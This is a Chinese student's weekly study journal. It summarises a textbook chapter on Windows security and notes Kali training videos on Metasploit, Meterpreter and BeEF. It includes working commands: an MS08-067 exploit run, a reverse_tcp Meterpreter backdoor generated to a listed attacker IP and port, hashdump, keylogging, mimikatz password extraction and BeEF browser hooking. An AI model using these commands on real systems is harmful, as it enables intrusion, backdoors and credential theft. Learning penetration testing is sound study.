Kali教材学习
本周主要学习了《网络攻防---技术与实践》第7章的内容,主要学习了 Windows操作系统安全攻防
- Windows操作系统基本框架
-
-
如上图所示,Windows操作系统分为运行于处理器特权模式(ring 0)的操作系统内核,以及运行在处理器非特权模式(ring 3)的用户空间代码。采用宏内核(monolithic)模式进行架构。内核基本模块分为:Windows执行体 、Windows内核体 、设备驱动程序 、硬件抽象层 、Windows窗口与图形界面内核实现代码 、系统支持进程 、 环境子系统服务进程 、服务进程 、用户应用条件 、核心子系统DLL 。
Windows将进程视作可执行程序运行时刻的容器,而线程是指令执行的具体载体。
Windows的虚拟内存空间分为系统核心内存区间与用户内存区间两部分。
Windows早期使用FAT文件分配表格式来管理文件系统,现在使用NTFS文件系统,较之前更加安全,具有更高的性能、可靠性和资源利用率。Windows可执行文件采用PE格式。
Windows系统注册表在作为系统全局配置、用户和应用软件配置信息的存储仓库,在Windows系统配置和控制方面承担着关键角色。可通过自带的regedit.exe
注册表查找编辑工具或其他第三方工具进行访问与修改,可使用RegMon
等工具进行监控。
Windows的网络组件模块根据OSI网络模型可分为:
(1)物理层 各种网卡硬件的设备驱动程序;
(2)链路层 NDIS库及miniport驱动程序;
(3)网络层与传输层 TDI传输层,实现了TCP/IP等协议栈;
(4)会话层与表示层 网络API DLL 及 TDI 客户端;
(5)应用层 网络应用程序与服务进程。 -
Windows操作系统的安全体系结构
-
-
-
Windows操作系统是基于引用监控器模型来实现基本的对象安全模型。最为核心的是位于内核中的SRM(Security Reference Monitor)安全引用监控器及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制、对所有的资源对象的访问控制机制,以及对访问的安全审计机制。
-
Windows身份认证机制
Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机。
Windows为每个用户和计算机设置账户(accounts)进行管理,作为这些安全主题运行程序的执行环境,账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。用户组是为了简化用户管理而引入的用户账户容器,通过将用户账户添加入特定的用户组,使得该用户拥有用户组配置的全部权限,有效地使用用户组,科室的系统管理员对权限控制的配置工作量大大减少。
Windows用户账户的口令字经加密被保存于SAM或活动目录AD中。在Windows运行期间,内核对SAM文件加了一个持久性的文件锁,故即使是Administrator账户,通过正常路径也无法获取,只有LocalSystem账户权限才可以读取,但现在有许多黑客工具也可以在内存中直接dump出SAM的内容。
Windows支持本地身份认证和网络身份认证两种方式。Winlogin进程、GINA图形化登录窗口与LSASS服务通过协作来完成本地身份认证过程。 -
Windows授权与访问控制机制
Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌。Windows对于系统中所有需保护的资源都抽象成对象。 -
Windows安全审计机制
系统审计策略在本地安全策略中由系统管理员来定义,来确定系统对哪些事件进行记录。 -
Windows的其他安全机制
以上的身份认证、授权与访问控制及安全审计是三个基本安全功能特性,其他的还包括Windows安全中心、IPsec加密与验证机制等。 -
Windows系统的安全漏洞生命周期
主要分为漏洞的发现、利用与修补过程。在安全漏洞当中,对攻击者最具价值的是远程 渗透攻击可利用、后果为远程执行代码的高危型漏洞,或本地渗透攻击可利用、后果为本地特权提升的高危型漏洞,这二者相结合可以造成严重的安全问题。各大厂商在针对安全漏洞,也会作出相应的补丁修复。有许多安全漏洞公开披露信息库,如:CVE、NVD、SecurityFocus、OSVDB等以供查询参考。这对一个特定主机,典型渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试。典型工具是 Metasploit工具,在后面实践当中会详细介绍。 -
Windows远程口令猜测与破解攻击
Windows通过基于服务器消息块SMB协议承载的文件与打印机共享服务来为网络用户提供远程访问文件系统和打印机的支持,因而它也就成为攻击者实施Windows远程口令字猜测的传统攻击渠道。还有一种实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。Windows的在不同版本在进行网络身份认证时,使用了LanMan、NTLM和Kerberos三种认证协议。
这对这些攻击,最根本的防御措施还是使用高安全强度口令,尽量关闭不必要的易受远程口令猜测攻击网络服务,配置主机防火墙来限制对端口服务,利用网络防火墙限制这些服务的访问,禁用过时且存在本质缺陷的LanMan与NTLM,仅使用经过安全加固NTLMv2与Kerberos认证协议,对于安全级别较高的Windows系统服务器等主机,管理员可以制定和实施强口令字策略及设定账户锁定阈值。 -
Windows网络服务远程渗透攻击
主要针对Windows系统默认开放的诸如135(TCP)、137(UDP)等端口进行渗透,针对NetBios网络服务、SMB网络服务、MSRPC网络服务进行攻击,还有针对微软网络服务及第三方网络服务进行远程攻击。防范措施包括:从软件设计根源上尽可能减少漏洞出现,管理员尽可能快的更新与应用软件安全补丁,在“零日”漏洞时间管理员应作出相应的防范,利用服务厂商及社区中的安全核对清单对服务进行配置并利用一些安全增强插件来加固所部署的网络服务,通过漏洞扫描软件来标识网络中已经存在的安全漏洞并及时修补,启用入侵检测机制,建立有效的事件应急相应计划。 -
Window本地安全攻防技术
利用之前的技术获得Windows系统的访问权后,接下来的攻击主要包括本地特权提升、敏感信息窃取、消踪灭迹、远程控制与后门程序。提权主要利用DLL注入和破解本地程序安全漏洞实现,工具有GetAdmin及Metasploit。敏感信息获取主要包括系统口令字密文提取、系统口令字破解及用户敏感数据窃取。消踪灭迹主要包括关闭审计功能和清理事件日志。远程控制与后门程序可通过各种现成的黑客工具利用命令行或是图形化界面实现。可针对各个不同的攻击手段采取相应的防范措施。
-
kali视频学习(26——30)
kali漏洞利用之Metasploit基础
Metasploit在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。他们或许在渗透测试中的每一方面都不能称为最好用的工具,但组合起来的框架却让它变得强大。
1.启动服务:
在kali中使用metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录
2.路径介绍
kali中,msf的路径为/usr/share/metasploit-framework
比如modules中,是我们在msf中经常会利用到的一些工具
auxiliary:辅助模块
encoders:供msfencode编码工具使用,具体可使用msfencode -l
exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录。
payloads:这里面列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump,arp_scanner就在这里。
3.基本命令
msfpayload:用来生成payload或者shellcode
搜索的时候可以用msfpayload -l |grep “windows”这样的命令查询。
-o 选项可以列出payload所需的参数
msfencode:
msf中的编码器,现在常用msfpayload与它编码避免exploit的坏字符串(比如00,会起到隔断作用)
msfconsole:
开启metasploit的console
4.测试示例:发现漏洞,搜索exploit,先用nmap扫描主机,扫描命令
nmap -sS -sV -O --script=smb-check-vulns.nse -n 222.28.136.22
可以看到,其中含有漏洞MS08-067
在console中搜索一下,可以看到下面的界面
然后就use其中一个版本
use exploit/windows/smb/ms08_067_netapi
查看一些参数
可以看到RHOST(远程IP地址)还没有设置,这时我们就使用下面的命令来设置
set RHOST 222.28.136.22
选择payload
设置好之后,就可以对目标进行攻击测试,输入exploit即可,如果成功,就会返回一个shell
kali漏洞利用之Meterpreter介绍
使用示例:
1.生成Meterpreter后门
命令语句如下,如果其中的IP为kali攻击机的IP地址,后面跟着的是参数。
msfpayload windows/meterpreter/reverse_tcp LHOST=222.28.136.223 LPORT=2333 R|msfencode -t exe -c 5 > /root/door.exe
这个语句中,如果不知道参数是什么,可以在metasploit中查看,查看方式如下
use exploit/multi/handler
用这个exp来接受返回的链接
然后查看参数
LHOST是返回的IP地址,也就是我们kali的地址,而LPORT我们设置的是2333,所以也要将其改为2333.
set LPORT 2333
设置好了之后,就可以执行命令了
执行成功,可以看到主目录下出现了door.exe文件
然后我们将该door.exe植入到对方的主机上,先不启动,回到metasploit中,设置LHOST为kali的IP地址,然后开启handler
这时在本地kali的2333端口上,就在等待一个返回的payload链接
启动靶机上的door.exe,kali就能成功的连接上靶机了
meterpreter参数可以用help命令打印出来,比如执行sysinfo查看系统信息
hashdump,抓取哈希
屏幕截图screenshot
键盘记录keyscan_start
然后输入keyscandump就可以记录下来在靶机上的输入了
扩展工具
例如mimikatz可以用来抓取系统的明文
wdigest可以获取凭据
可以看到直接抓取到了密码明文
kali漏洞利用之BeeF
对XSS漏洞往往需要一个强大的框架支持,如网络上的XSS平台,在KALI下,Beef是一款丝毫不逊于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器的渗透测试工具。
打开beef
beef-xss
默认用户名和密码分别为beef/beef
假设被测试主机由于XSS漏洞请求到下面这个页面
这时候可以看到,online browsers就多了一项127.0.0.1
在currentbrowser中可以看到许多信息
Proxy功能
选中目标主机,点右键,在菜单中选中use as Proxy,然后再Rider选项卡中的Forge Request编辑并发送想要发送的内容
send之后,在history中查看
等执行完毕会显示包的细节,借助于此,可以让目标访问特定的页面,如果特定页面有漏洞,就会中招
这就是依赖目标做一个代理,然后请求一个特定页面的过程
然后就是beef和metasploit的结合,该如何配置让beef加载metasploit模块呢?
首先我们进入目录
编辑config.yaml文件
然后进入这个目录,再修改一个.yaml文件
其中的两个ip地址都要改为本机ip
然后再更改一个路径,即可保存退出
这时候打开一个msfconsole,输入以下命令
load msgrpc ServerHost=222.28.136.223 Pass=abc123
成功之后
执行./beef -x命令
好了以后重启服务
重新登陆beef,可以看到metasploit下面多了很多可以使用的模块
学习感想
这一周主要学习了windows操作系统的安全攻防,以及kali当中关于metasploit的使用。整体收获较大,由于知识点庞杂而分散,所以在看书的时候还是需要足够的耐心,同时为了更好的掌握相关知识,相关的攻防实践也要多做多总结,才能更好的去理解相关的知识。
学习进度
完成教材第七章学习,kali视频第26——30。